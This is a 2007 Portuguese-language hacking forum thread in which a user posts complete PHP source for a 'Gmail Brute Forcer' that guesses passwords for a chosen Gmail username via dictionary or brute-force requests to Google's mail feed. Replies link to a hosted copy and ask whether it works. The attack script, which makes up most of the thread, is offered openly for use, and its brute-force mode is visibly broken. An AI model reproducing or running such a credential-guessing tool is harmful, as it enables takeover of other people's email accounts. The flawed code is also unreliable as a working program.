FORUM DARKERS

Segurança & Hacking => Penetration Tests => Topic started by: DarkGenesis on 04 de June , 2007, 11:41:53 PM

Title: Gmail Brute Forcer (PHP)
Post by: DarkGenesis on 04 de June , 2007, 11:41:53 PM
Gmail Brute Forcer (PHP)

<?php

//////////////////////
////Gmail-Brute//////
//Thehackers&#46;info///
///Mad-Hatter///////
//////////////////




////////////////////////
# This script was created to Brute Force G-Mail Logins,#
#it Uses CURL and 2 Methods of Login attacks (Brute Force and Dictionary) #
////////////////////////

$dic ="your Dictionary file here&#46;txt";

///////////////////////



echo "
<title>Gmail Brute Force Attacker</title>
</head>
<style type='text/css'>
body {


font&#58;Verdana, Arial, Helvetica, sans-serif;
font-size&#58;12px;
border-color&#58;#FFFFFF;
}
&#46;raster_table {
background-color&#58;#444444;
border-color&#58;#CCCCCC;
}
&#46;alert {
    color&#58;#FF0000;
}
</style>
<body>
<table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'>
<tr>
<td>
<div align='center'><b>Gmail Brute Force Attacker</b></div>
        </td>
    </tr>
</table>
<table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'>
    <tr>
        <td>
            <div align='center'>
           
            </div>
        </td>
    </tr>
    <tr>
        <td>
            <div align='center'>
             
            </div>
        </td>
    </tr>
    <tr>
        <td>
            <div align='center'>
                <form method='post'>
                    Username to brute&#58;<br>
                    <input name='username' type='text' /><br><br>
                    <input name='attack' type='submit' value='dictionary' /> - <input name='attack' type='submit' value='brute' /><br>               
                </form>
            </div>
        </td>
    </tr>
    <tr>
        <td>
            <div align='center'>
             
            </div>
        </td>
    </tr>
</table>
"
;

// Sets variables and retrives google error for comparing
if(isset($_POST['attack'&#93;) && isset($_POST['username'&#93;)) {
    
$username $_POST['username'&#93;;
    
$headers = array(
    
"Host&#58; mail&#46;google&#46;com",
    
"User-Agent&#58; Mozilla/5&#46;0 (Windows; U; Windows NT 5&#46;1; en-GB; rv&#58;1&#46;8&#46;0&#46;4) Gecko/20060508 Firefox/1&#46;5&#46;0&#46;4",
    
"Accept&#58; text/xml,application/xml,application/xhtml+xml,text/html;q=0&#46;9,text/plain;q=0&#46;8,image/png,*/*;q=0&#46;5",
    
"Accept-Language&#58; en-us,en;q=0&#46;5",
    
"Accept-Encoding&#58; text"# No gzip, it only clutters your code!
    
"Accept-Charset&#58; ISO-8859-1,utf-8;q=0&#46;7,*;q=0&#46;7",
    
"Date&#58; "&#46;date(DATE_RFC822)
    
);
    
$c curl_init('https&#58;//mail&#46;google&#46;com/mail/feed/atom');
    
curl_setopt($cCURLOPT_HTTPAUTHCURLAUTH_ANY); // use authentication
    
curl_setopt($cCURLOPT_HTTPHEADER$headers); // send the headers
    
curl_setopt($cCURLOPT_RETURNTRANSFER1); // We need to fetch something from a string, so no direct output!
    
curl_setopt($cCURLOPT_FOLLOWLOCATION1); // we get redirected, so follow
    
curl_setopt($cCURLOPT_SSL_VERIFYPEER0);
    
curl_setopt($cCURLOPT_SSL_VERIFYHOST1);
    
curl_setopt($cCURLOPT_UNRESTRICTED_AUTH1); // always stay authorised
    
$wrong curl_exec($c); // Get it
    
curl_close($c); // Close the curl stream
}

//Dictionary Attack
if($_POST['attack'&#93; == "dictionary") {
    
$Dictionary file("$dic");
    for (
$Position 0$Position count($Dictionary); $Position++) {
        
$Dictionary[$Position&#93; = str_replace("\r\n", "", $Dictionary[$Position&#93;);
        
if(check_correct($username$Dictionary[$Position&#93;)) {
            
die("<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
    <tr>
        <td>
            <div align='center'><b>Found the password of&#58; "
&#46;$Dictionary[$Position&#93;&#46;"<br> For the account&#58; "&#46;$username&#46;"</b></div>
        
</td>
    </
tr>
</
table>
</
body>
</
html>");
        }
    }
    echo "
<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
    <
tr>
        <
td>
            <
div align='center'><b>Sorry&#46;&#46;&#46; a password was not found for the account of <span class='alert'>"&#46;$username&#46;"</span> during the dictionary attack&#46;</b></div>
        
</td>
    </
tr>
</
table>";
}

//Brute Attack
elseif(
$_POST['attack'&#93; == "brute") {
    for (
$Pass = 0; $Pass < 2; $Pass++) {
        if (
$Pass == 0){$Pass "a";} elseif ($Pass == 1){ $Pass = "a"; }
        if(check_correct(
$username$Pass)) {
            die("
<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
    <
tr>
        <
td>
            <
div align='center'><b>Found the password of&#58; "&#46;$Dictionary[$Position&#93;&#46;"<br> For the account&#58; "&#46;$username&#46;"</b></div>
        
</td>
    </
tr>
</
table>
</
body>
</
html>");
        }
    }
    echo "
<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
    <
tr>
        <
td>
            <
div align='center'><b>Sorry&#46;&#46;&#46; a password was not found for the account of <span class='alert'>"&#46;$username&#46;"</span> during the brute force attack&#46;</b></div>
        
</td>
    </
tr>
</
table>";
}
echo "
</body>
</
html>";

// Function for checking whether the username and password are correct
function check_correct(
$username$password)
{
        global 
$wrong$headers;
        
$c = curl_init('https&#58;//'&#46;$username&#46;'&#58;'&#46;$password&#46;'@mail&#46;google&#46;com/mail/feed/atom');
        curl_setopt(
$c, CURLOPT_HTTPAUTH, CURLAUTH_ANY); // use authentication
        curl_setopt(
$c, CURLOPT_HTTPHEADER, $headers); // send the headers
        curl_setopt(
$c, CURLOPT_RETURNTRANSFER, 1); // We need to fetch something from a string, so no direct output!
        curl_setopt(
$c, CURLOPT_FOLLOWLOCATION, 1); // we get redirected, so follow
        curl_setopt(
$c, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt(
$c, CURLOPT_SSL_VERIFYHOST, 1);
        curl_setopt(
$c, CURLOPT_UNRESTRICTED_AUTH, 1); // always stay authorised
        
$str = curl_exec($c); // Get it
        curl_close(
$c);
        if(
$str != $wrong) {return true;}
        else {return false;}
}


?>
Title: Re: Gmail Brute Forcer (PHP)
Post by: Anonymous on 05 de June , 2007, 12:00:08 AM
Muito bom mesmo a ideia, agora e testar quem quiser aqui segue o link do Gmail.php.

Clique aqui. (//http://killerbat.5gbfree.com/upload/w2box/gmail.php)
Title: Re: Gmail Brute Forcer (PHP)
Post by: bironet on 05 de June , 2007, 12:16:55 AM
Não entendi como funciona isso ainda... Ta pronto ou tem que editar? Bruterforce ainda existe?
Title: Re: Gmail Brute Forcer (PHP)
Post by: Mago on 17 de June , 2007, 03:56:06 AM
esse ae funciona mesmo alguem jah testou ?!  ???
Title: Re: Gmail Brute Forcer (PHP)
Post by: Gothic_Souls on 24 de July , 2007, 08:24:08 PM
Ainda não testei, mais dei uma olhada
e pelo que entendi parece ser um código malicioso em php, que depois de compilado e hospedado é só abrir a pagina, e dar a permissão que ele irá começar testar milhares de senhas para tentar uma bruta força em quebrar senhas de mails.

Acho que é isso.
Title: Re: Gmail Brute Forcer (PHP)
Post by: Anonymous on 25 de July , 2007, 09:57:16 PM
E aí pessoal, beleza?

Alguém já conseguiu quebrar uma senha de email no mundo real com um brute-force web?

Localmente, já costuma ser uma tarefa bastante demorada... via http então..  :-\

Abraços a todos.